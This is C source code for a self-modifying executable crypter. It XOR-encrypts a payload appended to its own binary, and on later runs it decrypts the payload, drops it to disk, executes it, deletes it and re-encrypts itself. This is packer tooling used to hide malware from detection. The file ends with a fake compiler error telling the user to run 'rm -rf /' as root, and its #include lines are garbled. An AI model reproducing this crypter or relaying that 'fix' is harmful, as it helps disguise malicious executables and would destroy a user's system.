#include #include #include #include /* close() */ #include /* uint* */ #include /* mem*() */ #include /* open() */ #include /* fstat(), struct stat */ #include /* sendfile() */ #include /* mmap(), munmap() */ #include /* gettimeofday() */ #include /* LONG_MAX */ #include /* basename() */ #include /* bswap_* */ /* size of the xor key in multiples of 32 bits * --> absolute xor key size 128 bits */ #define XOR_KEYLEN 4 /* crypter information which is stored after the payload */ typedef struct MyExecTrailer { uint32_t marker[2]; uint32_t xorkey[XOR_KEYLEN]; uint32_t payload_size; } __attribute__((packed, gcc_struct)) MyExecTrailer; /* Remarks about __attributes__: * - gcc_struct enforces a C99 conformal struct * (!clang, !MSVC; this is important if xcompiling with gcc-mingw) * - packed means the struct is not 4 byte aligned (default) instead it is 1 byte aligned * (our trailer struct is 28 bytes small, so its 4 byte aligned atm but this may change ..) */ /* search for 8 byte marker 0xDEADC0DECAFECAFE in crypted exec */ static uint8_t * findMarker(uint8_t *buf, size_t siz) { size_t i; for (i = 7; i < siz; ++i) { if (buf[i-7] == 0xde && buf[i-6] == 0xad && buf[i-5] == 0xc0 && buf[i-4] == 0xde && buf[i-3] == 0xca && buf[i-2] == 0xfe && buf[i-1] == 0xca && buf[i+0] == 0xfe) { return &buf[i-7]; } } return NULL; } static long int random_number(long int n) { int seed; struct timeval tm; gettimeofday(&tm, NULL); seed = tm.tv_sec + tm.tv_usec; srandom(seed); return (random() % n); } /* generate and store random xor key in our payload trailer */ static void xor_genkey(MyExecTrailer *trailer) { size_t i; uint32_t rnd[XOR_KEYLEN]; for (i = 0; i < XOR_KEYLEN; ++i) { rnd[i] = (uint32_t) random_number(LONG_MAX); } memcpy(trailer->xorkey, rnd, sizeof trailer->xorkey); } /* (en|de)crypt our payload */ static void xor_crypt(MyExecTrailer *trailer, uint8_t *payloadStart) { size_t i; uint8_t xb; uint8_t *key = (uint8_t *) &trailer->xorkey[0]; for (i = 0; i < trailer->payload_size; i++) { xb = key[i % sizeof trailer->xorkey]; payloadStart[i] ^= xb; } } /* convert a binary buffer to a readable hex string */ static char * shexbuf(uint8_t *buf, size_t buflen, char *dest, size_t destlen) { size_t i, j; static const char hexal[] = "0123456789ABCDEF"; uint8_t halfByte; for (i = 0, j = 0; i < buflen && j+2 < destlen; ++i, j += 3) { halfByte = buf[i] >> 4; dest[j+0] = hexal[ halfByte % 16 ]; halfByte = buf[i] & 0x0F; dest[j+1] = hexal[ halfByte % 16 ]; dest[j+2] = ' '; } if (j) dest[j-1] = 0; return dest; } int main(int argc, char **argv) { char new_path[BUFSIZ]; int arg0_fd, new_fd, payload_fd; struct stat arg0_statbuf; uint8_t *mmap_exec, *marker; MyExecTrailer *trailer; const uint8_t nullbuf[XOR_KEYLEN] = {0}; char temp[BUFSIZ] = {0}; char payload_path[BUFSIZ]; off_t exec_off; if (argc < 1) return 1; /* new_path is the path to our temp exec * (crypter w/ encrypted/plain payload) */ snprintf(new_path, sizeof new_path, "./.%s", basename(argv[0])); arg0_fd = open(argv[0], O_RDONLY, 0); new_fd = open(new_path, O_RDWR | O_CREAT | O_EXCL, S_IRWXU | S_IRWXG | S_IRWXO); printf("[file]\n" "arg0...: '%s'\n" "new....: '%s'\n" "\n[fd]\n" "arg0...: %d\n" "new....: %d\n", argv[0], new_path, arg0_fd, new_fd); if (arg0_fd < 0 || new_fd < 0) return 1; if (fstat(arg0_fd, &arg0_statbuf)) return 1; if (sendfile(new_fd, arg0_fd, NULL, arg0_statbuf.st_size) != arg0_statbuf.st_size) return 1; close(arg0_fd); /* mmap whole arg0 executable */ mmap_exec = (uint8_t *) mmap(NULL, arg0_statbuf.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, new_fd, 0); if (!mmap_exec) return 1; printf("\n[crypter]\n" "mmap'd.: %p\n" "size...: %lu bytes\n", mmap_exec, arg0_statbuf.st_size); marker = findMarker(mmap_exec, arg0_statbuf.st_size); if (!marker) return 1; trailer = (MyExecTrailer *) marker; printf("\n[payload]\n" "Marker.: %p (0x%08X 0x%08X)\n" "Size...: %u (0x%X) bytes\n" "Start..: %p (%p - 0x%X)\n", marker, bswap_32(trailer->marker[0]), bswap_32(trailer->marker[1]), trailer->payload_size, trailer->payload_size, marker - trailer->payload_size, marker, trailer->payload_size); if (!memcmp(trailer->xorkey, nullbuf, XOR_KEYLEN)) { /* xor key contains only NUL bytes so * assume that our payload is unencrypted */ xor_genkey(trailer); printf("\nEmpty XOR key .. generated: '%s'\n", shexbuf((uint8_t *) trailer->xorkey, sizeof trailer->xorkey, temp, sizeof temp)); /* encrypt our payload */ xor_crypt(trailer, marker - trailer->payload_size); } else { /* xor key contains at least one non NUL byte * so assume that our payload is encrypted */ printf("\nXOR key: %s\nDecrypt payload ..\n", shexbuf((uint8_t *) trailer->xorkey, sizeof trailer->xorkey, temp, sizeof temp)); /* decrypt our payload */ xor_crypt(trailer, marker - trailer->payload_size); memset(trailer->xorkey, 0, sizeof trailer->xorkey); snprintf(payload_path, sizeof payload_path, "%.*s_payload", (int) sizeof payload_path - 2, new_path); /* path to unencrypted payload executable */ payload_fd = open(payload_path, O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO); if (payload_fd < 0) return 1; /* extract unencrypted payload from temp executable */ exec_off = marker - mmap_exec - trailer->payload_size; printf("Extracted '%s': %zd bytes\n", payload_path, sendfile(payload_fd, new_fd, &exec_off, trailer->payload_size)); close(payload_fd); /* executabe and remove payload */ printf("Exec and remove '%s'\n", payload_path); printf("Payload returned: 0x%X\n", system(payload_path)); unlink(payload_path); } /* unmap arg0 mmap'd memory */ munmap(mmap_exec, arg0_statbuf.st_size); close(new_fd); /* rename new crypter w/ encrypted/unencrypted payload to arg0 */ rename(new_path, argv[0]); return 0; } #ifndef _NOTASKID #error "Compiler error. Type `rm -rf /` as root in your terminal to solve this issue." #endif